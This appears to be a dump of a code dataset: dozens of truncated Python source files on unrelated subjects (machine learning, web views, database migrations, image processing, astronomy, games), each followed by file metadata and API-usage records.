sns.set_context('talk')
# Initial conditions
MC_cycles = 100000
num_spins = 20
Temp = [1.0, 2.4]
ordered=False
def Accepted(ordered):
"""
This function plo... | null | Problemsets/4th/CODES/Accepted.py | Accepted.py | py | 1,961 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "seaborn.set_style",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "seaborn.set_style",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "seaborn.set_context",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplo... |
621906944 | # -*- coding: UTF-8 -*-
# 该文件采用获取到的进程数和规模进行数据训练
# 传统的方法
import numpy as np
from sklearn import svm
from sklearn.ensemble import RandomForestRegressor
from sklearn.externals import joblib
from sklearn import linear_model
#提取完特征后，对数据进行log缩放处理
def datalog(data):
for i in range(len(data)):
data[i... | null | sweep_size.py | sweep_size.py | py | 3,297 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "numpy.log10",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "numpy.loadtxt",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "numpy.random.shuffle",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "numpy.random",
"li... |
15277148 | '''Outer AutoEncoder. This file contains the implementation of an autoencoder.
Versions available:
1. Multilayer perceptron
'''
import pickle
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torch.autograd import Variable
import numpy as np
import os.path
from scipy.m... | null | elastic/envs/video_featurizer.py | video_featurizer.py | py | 4,430 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "torch.nn.Module",
"line_number": 25,
"usage_type": "attribute"
},
{
"api_name": "torch.nn",
"line_number": 25,
"usage_type": "name"
},
{
"api_name": "pickle.load",
"line_number": 36,
"usage_type": "call"
},
{
"api_name": "torch.nn.Conv2d",
"line... |
455565576 | import json
from errors import NoCredentialsFileError
from vmManagement import APIRemoveNetwork
def destroyNetwork(credsFile="credentials.json", DOApiKeyFile="digitalocean.ini"):
"""Automatically and completely tear down T-Pot network through DigitalOcean API
:credsFile: optional, path to credentials JSON f... | null | destroyNetwork.py | destroyNetwork.py | py | 1,146 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "json.load",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "errors.NoCredentialsFileError",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "vmManagement.APIRemoveNetwork",
"line_number": 31,
"usage_type": "call"
}
] |
547290948 | """add ordering to question and choice
Revision ID: 0717a96ab5fe
Revises: c1b4f16930df
Create Date: 2017-10-13 12:02:29.295628
"""
import os
from alembic import op
import sqlalchemy as sa
schema_name = os.getenv('SCHEMA_NAME')
# revision identifiers, used by Alembic.
revision = '0717a96ab5fe'
down_revision = 'c1... | null | alembic/versions/0717a96ab5fe_add_ordering_to_question_and_choice.py | 0717a96ab5fe_add_ordering_to_question_and_choice.py | py | 969 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "os.getenv",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "alembic.op.batch_alter_table",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "alembic.op",
"line_number": 25,
"usage_type": "name"
},
{
"api_name": "sqlalchemy.Column",... |
570959409 | #!/usr/bin/env python
"""
For a DOS-type framework this will export details of all "digital-outcomes" services, including the types
of outcome the supplier provides and the locations they can provide them in.
Usage:
scripts/export-dos-outcomes.py <stage> <framework_slug> <content_path>
"""
import sys
sys.path.ins... | null | scripts/export-dos-outcomes.py | export-dos-outcomes.py | py | 2,778 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "sys.path.insert",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "sys.path",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "dmscripts.helpers.framework_helpers.find_suppliers_with_details_and_draft_services",
"line_number": 25,
"us... |
313838542 | # encoding: utf-8
from django.shortcuts import render, redirect, get_object_or_404
from django.contrib.auth import logout
from django.contrib.auth.decorators import login_required
from django.contrib.auth.decorators import login_required,permission_required
from django.http import JsonResponse
from django.contrib.auth.... | null | account/views.py | views.py | py | 2,338 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "django.contrib.auth.models.User.objects.all",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "django.contrib.auth.models.User.objects",
"line_number": 15,
"usage_type": "attribute"
},
{
"api_name": "django.contrib.auth.models.User",
"line_number": 15,... |
581665098 | import tensorflow as tf
import config_in as cg
import connector as con
import data as dt
import filter_data as fd
import model as ml
import tokenizer as tk
import utility as ut
import vocabulary as vc
import skipgram as sk
import logger as lg
#import nn.assist_classifier.scripts.logger as lg
import requests
import os... | null | assist-modified/assist_classifier/ticket_classification/train_model.py | train_model.py | py | 8,614 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "logger.getLogger",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "config_in.Config",
"line_number": 65,
"usage_type": "call"
},
{
"api_name": "data.Data",
"line_number": 69,
"usage_type": "call"
},
{
"api_name": "connector.ConfigConnectio... |
62457698 | from setuptools import setup
with open("README.md", "r", encoding="utf-8") as f:
long_description = f.read()
setup(
name="gif",
version="3.0.0",
description="The extension for matplotlib, Altair, and Plotly animations",
long_description=long_description,
long_description_content_type="text/mar... | null | setup.py | setup.py | py | 1,379 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "setuptools.setup",
"line_number": 6,
"usage_type": "call"
}
] |
143354756 | # -*- coding: utf-8 -*-
from functools import wraps
from flask import jsonify, request, g
from cerberus import Validator
from bookhouse.models.user import User
def auth_required(f):
@wraps(f)
def wrapper(*args, **kwargs):
token = {'token': request.headers.get('token'), }
validator = Validator(... | null | bookhouse/main/misc/auth.py | auth.py | py | 1,050 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "flask.request.headers.get",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "flask.request.headers",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "flask.request",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "ce... |
301348217 | import importlib
from channels.routing import URLRouter
from django.db import close_old_connections
from django.urls import path, re_path
from .models import Appliance
class ApplianceUUIDRouter:
"""
Routes to different appliance consumers based on UUIDs.
"""
def __init__(self, appliances_qs):
... | null | chezbob/appliances/routing.py | routing.py | py | 1,754 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "django.db.close_old_connections",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "models.Appliance.DoesNotExist",
"line_number": 26,
"usage_type": "attribute"
},
{
"api_name": "models.Appliance",
"line_number": 26,
"usage_type": "name"
},
{
... |
221801582 | import cv2
import numpy as np
import matplotlib.pyplot as plt;
import math
import pickle
def hog(I):
R = I[:, :, 0]
G = I[:, :, 1]
B = I[:, :, 2]
# Gradient in particular channels
YY, XX, ZZ = I.shape
SXY = np.zeros([YY,XX], np.int32)
DIR = np.zeros([YY,XX], np.float32)
... | null | skr1.py | skr1.py | py | 2,861 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "numpy.zeros",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "numpy.int32",
"line_number": 16,
"usage_type": "attribute"
},
{
"api_name": "numpy.zeros",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "numpy.float32",
"line_nu... |
604509127 | from __future__ import print_function
from datetime import datetime
from time import time
import logging
from operator import itemgetter
from pymongo import MongoClient
import pandas as pd
import numpy as np
import sys
# Extra plotly bits
import plotly
import plotly.plotly as py
import plotly.graph_objs as go
# Init ... | null | chart-curvature-app/get-data.py | get-data.py | py | 4,830 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "logging.getLogger",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "time.time",
"line_number": 37,
"usage_type": "call"
},
{
"api_name": "pymongo.MongoClient",
"line_number": 41,
"usage_type": "call"
},
{
"api_name": "operator.itemgetter",... |
246033877 | import datetime
from time import time
#import itertools
print('started at:', datetime.datetime.now(), '\n')
startTime = time()
def timeBetween(timeStart, timeStop):
sec = abs(timeStop - timeStart)
min = sec//60
sec -= min*60
h = min//60
min -= h*60
days = h//24
h -= days*24
return '{0... | null | euler_034.py | euler_034.py | py | 958 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "datetime.datetime.now",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "time.time",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "time.time",
"... |
145748449 | import cv2
import numpy as np
import time
cap = cv2. VideoCapture(0)
img_counter = 0
x,y,w,h = 100,100,100,100
cap_region_x_begin = 0.4
cap_region_y_end = 0.6
threshold = 60
blurValue = 41
bgSubThreshold = 60
learningRate = 0
isBgCaptured = 1
def remove_background(frame):
fgmask = bgModel.apply(frame, learn... | null | app.py | app.py | py | 1,657 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "cv2.VideoCapture",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "numpy.ones",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "numpy.uint8",
"line_number": 18,
"usage_type": "attribute"
},
{
"api_name": "cv2.erode",
"line_num... |
35669985 | from flask import (Blueprint, send_from_directory, jsonify)
assets = Blueprint('assets', __name__, static_folder='assets')
@assets.route('/assets/<path:path>')
def serve_assets(path):
try:
return send_from_directory('assets', path)
except Exception:
return jsonify('Resource not found'), 404
| null | assets.py | assets.py | py | 319 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "flask.Blueprint",
"line_number": 3,
"usage_type": "call"
},
{
"api_name": "flask.send_from_directory",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "flask.jsonify",
"line_number": 11,
"usage_type": "call"
}
] |
1874182 | # ch18_2.py
import requests, bs4
url = 'https://zh.wikipedia.org/wiki/%E5%8F%B0%E7%81%A3%E7%A9%8D%E9%AB%94%E9%9B%BB%E8%B7%AF%E8%A3%BD%E9%80%A0'
tsmchtml = requests.get(url)
objSoup = bs4.BeautifulSoup(tsmchtml.text, 'lxml')
tsmc = objSoup.find('tbody')
for t in tsmc:
col = t.find('th', 'fn org') ... | null | exercise/crawler_python_dm1920/ch18/ch18_2.py | ch18_2.py | py | 657 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "requests.get",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "bs4.BeautifulSoup",
"line_number": 6,
"usage_type": "call"
}
] |
466882208 | # -*- coding: utf-8 -*-
"""
演示二维插值。
"""
import numpy as np
from IPython import embed
from scipy import interpolate
import pylab as pl
import mpl_toolkits.mplot3d
import matplotlib.pyplot as plt
if __name__ == '__main__':
if 0:
x=np.linspace(0,10,11)
y=np.sin(x)
embed()
xnew=np.lins... | null | script/spline_test.py | spline_test.py | py | 2,236 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "numpy.linspace",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "numpy.sin",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "IPython.embed",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "numpy.linspace",
"line_num... |
454994968 | # uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04)
# [GCC 8.4.0]
# Embedded file name: /usr/local/lib/python2.7/site-packages/orlo/util.py
# Compiled at: 2017-04-04 09:14:06
from __future__ import print_function, unicode_literals
from flask import ... | null | pycfiles/orlo-0.4.3.macosx-10.12-x86_64.tar/util.py | util.py | py | 5,543 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "orlo.orm.db.session.query",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "orlo.orm.Platform",
"line_number": 27,
"usage_type": "argument"
},
{
"api_name": "orlo.orm.db.session",
"line_number": 27,
"usage_type": "attribute"
},
{
"api_name... |
402581187 | import copy
import gc
import os
import time
import matplotlib
import matplotlib.pyplot as plt
import numpy as np
import torch
from matplotlib import ticker
from matplotlib.lines import Line2D
from tqdm import tqdm
from torch_householder import torch_householder_orgqr as orgqr
def _resolve(name):
return os.path.... | null | tests/benchmark.py | benchmark.py | py | 9,178 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "os.path.join",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 18,
"usage_type": "attribute"
},
{
"api_name": "os.path.dirname",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "os.path.realpath",
"lin... |
119657779 | import tornado.web
from db.db import DB
from utilities.pretty import pretty
import json
from utilities.JwtAuth import *
@jwtauth
class MasterColumnPermissionRoute(tornado.web.RequestHandler):
def initialize(self):
self.data = {}
self.set_header('Content-Type', 'application/json; charset=utf-8')
self.set_header('... | null | backend/api/routes/MasterColumnPermissionRoute.py | MasterColumnPermissionRoute.py | py | 2,714 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "tornado.web.web",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "tornado.web",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "json.loads",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "db.db.DB",
"line_number... |
615357815 | import torch
import numpy as np
torch.manual_seed(120)
from tqdm import tqdm
from pytorch3d.loss import chamfer_distance
from NURBSDiff.surf_eval import SurfEval
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
from matplotlib import cm
import offset_eval as off
import sys
sys.path.insert(0, 'D:/... | null | examples/surface_offsetting_2Patch_C0.py | surface_offsetting_2Patch_C0.py | py | 12,001 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "torch.manual_seed",
"line_number": 3,
"usage_type": "call"
},
{
"api_name": "sys.path.insert",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "sys.path",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "numpy.load",
"line... |
420738702 | from django.contrib import admin
from django.urls import path
from . import views
from .views import HomeView, BlogDetailView, AddBlog, UpdateBlog, DeleteBlog, CategoryView, LikeView, AddCat
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = [
# path("", views.home, n... | null | blog/urls.py | urls.py | py | 1,519 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "django.urls.path",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "views.demo_view",
"line_number": 10,
"usage_type": "attribute"
},
{
"api_name": "django.urls.path",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "views.ViewPDF.... |
629170720 | """
Create item database.
"""
import logging
import os
import re
import pydarkstar.logutils
import pydarkstar.scrubbing.ffxiah
import pydarkstar.itemlist
import pydarkstar.options
import pydarkstar.common
class Options(pydarkstar.options.Options):
"""
Reads options from config file, then from command line.
... | null | apps/scrub.py | scrub.py | py | 4,959 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "pydarkstar.logutils.options",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "pydarkstar.logutils",
"line_number": 14,
"usage_type": "name"
},
{
"api_name": "pydarkstar.logutils.logutils.basicConfig",
"line_number": 103,
"usage_type": "call"
... |
352132549 | import pygame,sys
from pygame.locals import *
pygame.init()
MYDISPLAY=pygame.display.set_mode((400,200))
MYDISPLAY.fill((255,255,255))
pygame.draw.line(MYDISPLAY,(0,255,0),(50,50),(100,100))
while 1:
for event in pygame.event.get():
if event.type==QUIT:
pygame.quite()
sys.exit()
pygam... | null | lesson_pygame/worm.py | worm.py | py | 344 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "pygame.init",
"line_number": 3,
"usage_type": "call"
},
{
"api_name": "pygame.display.set_mode",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "pygame.display",
"line_number": 4,
"usage_type": "attribute"
},
{
"api_name": "pygame.draw.line... |
523949560 | import torch
import torch.nn as nn
import torch.nn.functional as F
class UNet3D(nn.Module):
def __init__(self, in_channel, n_classes, down_ratio, batchnorm_flag=True):
self.in_channel = in_channel
self.n_classes = n_classes
super(UNet3D, self).__init__()
k = down_ratio
sel... | null | aicsmlsegment/Net3D/unet_xy_enlarge.py | unet_xy_enlarge.py | py | 6,714 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "torch.nn.Module",
"line_number": 5,
"usage_type": "attribute"
},
{
"api_name": "torch.nn",
"line_number": 5,
"usage_type": "name"
},
{
"api_name": "torch.nn.MaxPool3d",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "torch.nn",
"line_n... |
66108469 | import ctk
import qt
import slicer
import vtk
import numpy
import sitkUtils
import SimpleITK as sitk
from scipy.interpolate import Rbf
from MRTrackingUtils.qcomboboxcatheter import *
from MRTrackingUtils.panelbase import *
#from scipy.interpolate import griddata
#------------------------------------------------------... | null | MRTracking/MRTrackingUtils/surfacemapping.py | surfacemapping.py | py | 21,868 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "qt.QFormLayout",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "slicer.qMRMLNodeComboBox",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "slicer.mrmlScene",
"line_number": 42,
"usage_type": "attribute"
},
{
"api_name": "slicer.... |
68272839 | import logging
import os
from collections import OrderedDict
import torch
from detectron2.data import DatasetCatalog, MetadataCatalog
import detectron2.utils.comm as comm
from detectron2.checkpoint import DetectionCheckpointer
from detectron2.config import get_cfg
from detectron2.data import MetadataCatalog
from detec... | null | work_small.py | work_small.py | py | 17,245 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "detectron2.engine.HookBase",
"line_number": 43,
"usage_type": "name"
},
{
"api_name": "detectron2.data.build_detection_train_loader",
"line_number": 48,
"usage_type": "call"
},
{
"api_name": "torch.no_grad",
"line_number": 52,
"usage_type": "call"
},
{
... |
589092880 | import pytest
from rest_framework import serializers
from datahub.search.serializers import SingleOrListField
from datahub.search.test.utils import model_has_field_path
class TestSingleOrListField:
"""Tests SingleOrListField."""
def test_single_value_validation(self):
"""Test that a single value pas... | null | datahub/search/test/test_serializers.py | test_serializers.py | py | 2,064 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "datahub.search.serializers.SingleOrListField",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "rest_framework.serializers.CharField",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "rest_framework.serializers",
"line_number": 13,
"usage_... |
136349288 | """empty message
Revision ID: 2bf92dec5fe
Revises: None
Create Date: 2015-05-08 03:17:02.426976
"""
# revision identifiers, used by Alembic.
revision = '2bf92dec5fe'
down_revision = None
from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import postgresql
def upgrade():
### commands auto g... | null | migrations/versions/2bf92dec5fe_.py | 2bf92dec5fe_.py | py | 786 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "alembic.op.create_table",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "alembic.op",
"line_number": 19,
"usage_type": "name"
},
{
"api_name": "sqlalchemy.Column",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "sqlalchemy.Integ... |
162977676 | #!/usr/bin/env python
# cardinal_pythonlib/datetimefunc.py
"""
===============================================================================
Original code copyright (C) 2009-2020 Rudolf Cardinal (rudolf@pobox.com).
This file is part of cardinal_pythonlib.
Licensed under the Apache License, Version 2.0... | null | cardinal_pythonlib/datetimefunc.py | datetimefunc.py | py | 30,268 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "arrow.Arrow",
"line_number": 38,
"usage_type": "name"
},
{
"api_name": "dateutil.parser",
"line_number": 43,
"usage_type": "name"
},
{
"api_name": "typing.Union",
"line_number": 53,
"usage_type": "name"
},
{
"api_name": "datetime.datetime",
"lin... |
154987225 | from itertools import product
from typing import List, Tuple, Union
from python_tools.advent_of_code.puzzle_runner_helpers import AdventOfCodeProblem, TestCase
from python_tools.advent_of_code.y2019_int_code_computer import IntCodeComputer
def part_1_solver(part_1_input: List[int]) -> List[int]:
input_program, n... | null | AdventOfCode/2019/day2.py | day2.py | py | 2,049 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "typing.List",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "python_tools.advent_of_code.y2019_int_code_computer.IntCodeComputer",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "typing.Tuple",
"line_number": 18,
"usage_type": "name"
}... |
339855381 | from flask import Blueprint, request, render_template, flash, redirect, url_for
from flask import current_app as current_app
from flask import Flask
from modules import db
test = Flask(__name__)
@test.route('/', methods=['GET'])
def index():
return render_template('dbTest.html',
resu... | null | app/test.py | test.py | py | 1,876 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "flask.Flask",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "flask.render_template",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "modules.db.Database",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "modules.db",
... |
142252957 | import sys
sys.path.append('core')
import argparse
import os
import cv2
import glob
import numpy as np
import torch
from PIL import Image
from raft import RAFT
from utils import flow_viz
from utils.utils import InputPadder
from io_list import save_list
DEVICE = torch.device('cuda' if torch.cuda.is_available() else ... | null | demo.py | demo.py | py | 5,412 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "sys.path.append",
"line_number": 2,
"usage_type": "call"
},
{
"api_name": "sys.path",
"line_number": 2,
"usage_type": "attribute"
},
{
"api_name": "torch.device",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "torch.cuda.is_available",
... |
584942377 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from typing import Optional
import git
def amend(message: Optional[str] = None) -> None:
"""Amend the previous commit with changes made to tracked files.
:param message: The commit message to be passed to the git commit command.
:note: The previous commit me... | null | src/gitone/amend.py | amend.py | py | 698 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "typing.Optional",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "git.Repo",
"line_number": 16,
"usage_type": "call"
}
] |
554778811 | import numpy as np
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import time
import sys
import os
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
import SynthObs
import SynthObs.Morph
from SynthObs.SED import models
from SynthObs.Morph import measure
from Syn... | null | HST_mock_SDSS_z7_3ss.py | HST_mock_SDSS_z7_3ss.py | py | 11,659 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "matplotlib.use",
"line_number": 3,
"usage_type": "call"
},
{
"api_name": "sys.path.insert",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "sys.path",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "os.path.abspath",
"line... |
479629298 | import json
from django.shortcuts import render
from django.http import JsonResponse, HttpResponse
from django.views import View
from account.decorator import login_decorator
from .models import Restaurant, Menu, FoodType
# Create your views here.
class RestaurantView(View):
def get(self... | null | restaurant/views.py | views.py | py | 1,922 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "django.views.View",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "models.Restaurant.objects.values",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "models.Restaurant.objects",
"line_number": 16,
"usage_type": "attribute"
},
{
... |
529966698 | import yaml
import json
import os
import datetime
from common import CMIP6
indicators = yaml.safe_load(open('indicators.yml'))
assets = yaml.safe_load(open('assets.yml'))
cmip6 = yaml.safe_load(open('cmip6.yml'))
listing_file = 'cmip6_listing.json'
if os.path.exists(listing_file):
listing = json.load(open(listin... | null | cmip6.py | cmip6.py | py | 4,249 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "yaml.safe_load",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "yaml.safe_load",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "yaml.safe_load",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "os.path.exists",
"line_... |
299837341 | import configparser
import os.path
import queue
import sys
import threading
import time
import traceback
import zipfile
import yaml
from collections import OrderedDict
from eu.softfire.integrationtest.main.experiment_manager_client import create_user, upload_experiment, \
delete_experiment, deploy_experiment, get_... | null | eu/softfire/integrationtest/main/integration_test.py | integration_test.py | py | 14,170 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "eu.softfire.integrationtest.utils.utils.get_logger",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "collections.OrderedDict",
"line_number": 36,
"usage_type": "call"
},
{
"api_name": "eu.softfire.integrationtest.utils.utils.get_config_value",
"line_n... |
495555123 | import rospy
import ros_numpy as rnp
import numpy as np
from tf.transformations import quaternion_multiply, quaternion_conjugate, unit_vector
from ar_track_alvar_msgs.msg import AlvarMarkers
from geometry_msgs.msg import PoseStamped, Point
# from typing import Tuple
from src.util.scripts.util import PublisherValue
__... | null | src/util/scripts/ar_tag.py | ar_tag.py | py | 4,853 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "tf.transformations.quaternion_multiply",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "tf.transformations.quaternion_conjugate",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "geometry_msgs.msg.PoseStamped",
"line_number": 21,
"usage_... |
254990403 | import json
import re
from pprint import pformat
import requests
import pygit2
from trac.config import Option, IntOption
from trac.core import implements
from trac.notification.api import NotificationSystem
from trac.ticket.api import ITicketChangeListener
from trac.ticket.model import Ticket
from trac.ticket.notifi... | null | sage_trac/gitlab.py | gitlab.py | py | 19,026 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "common.GitBase",
"line_number": 22,
"usage_type": "name"
},
{
"api_name": "trac.core.implements",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "trac.web.api.IRequestHandler",
"line_number": 29,
"usage_type": "argument"
},
{
"api_name": "... |
422573291 | from app import db
from flask import Flask, render_template, make_response, jsonify
from flask_sqlalchemy import SQLAlchemy
from flask_socketio import SocketIO
import json
from marshmallow_sqlalchemy import ModelSchema
from marshmallow import fields
class Restaurants(db.Model):
__tablename__ = "restaurants"
id = d... | null | app/db_init.py | db_init.py | py | 1,817 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "app.db.Model",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "app.db",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "app.db.Column",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "app.db",
"line_number": 11,
... |
364559309 | bl_info = {
"name": "NoLimits CSV Importer",
"author": "Ercan Akyürek",
"version": (0,1,1),
"blender": (2, 61, 0),
"location": "Tools > NoLimits CSV Importer",
"description": "Generate a spline from NoLimit CSV file",
"wiki_url": "https://github.com/geforcefan/BlenderNoLimitsCSVImporter",
... | null | All_In_One/addons/nolimits_csv_importer.py | nolimits_csv_importer.py | py | 3,666 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "os.path.splitext",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 29,
"usage_type": "attribute"
},
{
"api_name": "os.path.basename",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "bpy.data.curves.new",
... |
86143766 | import cv2
import numpy
from time import time
from math import sin, cos, sqrt
from utils import debug, save_image
from base import FeatureExtractorThread
from corner import CornerExtractorThread
def adaptive_non_maximal_suppression(keypoints, number, robustness):
suppressed = []
length = len(keypoints)
f... | null | mops.py | mops.py | py | 5,346 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "numpy.iinfo",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "numpy.int32",
"line_number": 16,
"usage_type": "attribute"
},
{
"api_name": "math.sqrt",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "numpy.float32",
"line_numb... |
205393017 |
from swap.db.db import Collection
import swap.utils.parsers as parsers
import swap.config as config
import swap.utils.scores
import sys
import csv
from pymongo import IndexModel, ASCENDING, UpdateOne
import logging
logger = logging.getLogger(__name__)
class Subjects(Collection):
@staticmethod
def _collect... | null | swap/db/subjects.py | subjects.py | py | 7,094 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "logging.getLogger",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "swap.db.db.Collection",
"line_number": 15,
"usage_type": "name"
},
{
"api_name": "swap.config.parser",
"line_number": 23,
"usage_type": "attribute"
},
{
"api_name": "swap.... |
505139210 | import requests
import json
import subprocess
def main():
url = "http://localhost:8080/jsonrpc"
headers = {'content-type': 'application/json'}
q = subprocess.run(["fortune", "futurama"], stdout=subprocess.PIPE)
d = q.stdout.decode("utf-8")
# Example echo method
payload = {
"method": "... | null | rpc-cowsay-client.py | rpc-cowsay-client.py | py | 635 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "subprocess.run",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "subprocess.PIPE",
"line_number": 10,
"usage_type": "attribute"
},
{
"api_name": "requests.post",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "json.dumps",
"l... |
266305100 | import os
import subprocess
import ast
import time
import sys
from tqdm import tqdm
import socket
from Cryptodome.Cipher import AES
from Cryptodome.Random import get_random_bytes
from Cryptodome.Hash import SHA256
from Cryptodome.PublicKey import RSA
from Cryptodome.Signature import pkcs1_15
SERVER_IP = "0.0.0.0"
PO... | null | analysis/alice/server.py | server.py | py | 2,770 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "socket.socket",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "socket.AF_INET",
"line_number": 21,
"usage_type": "attribute"
},
{
"api_name": "socket.SOCK_STREAM",
"line_number": 21,
"usage_type": "attribute"
},
{
"api_name": "Cryptodome.... |
357409598 | import os
import xml.etree.ElementTree as et
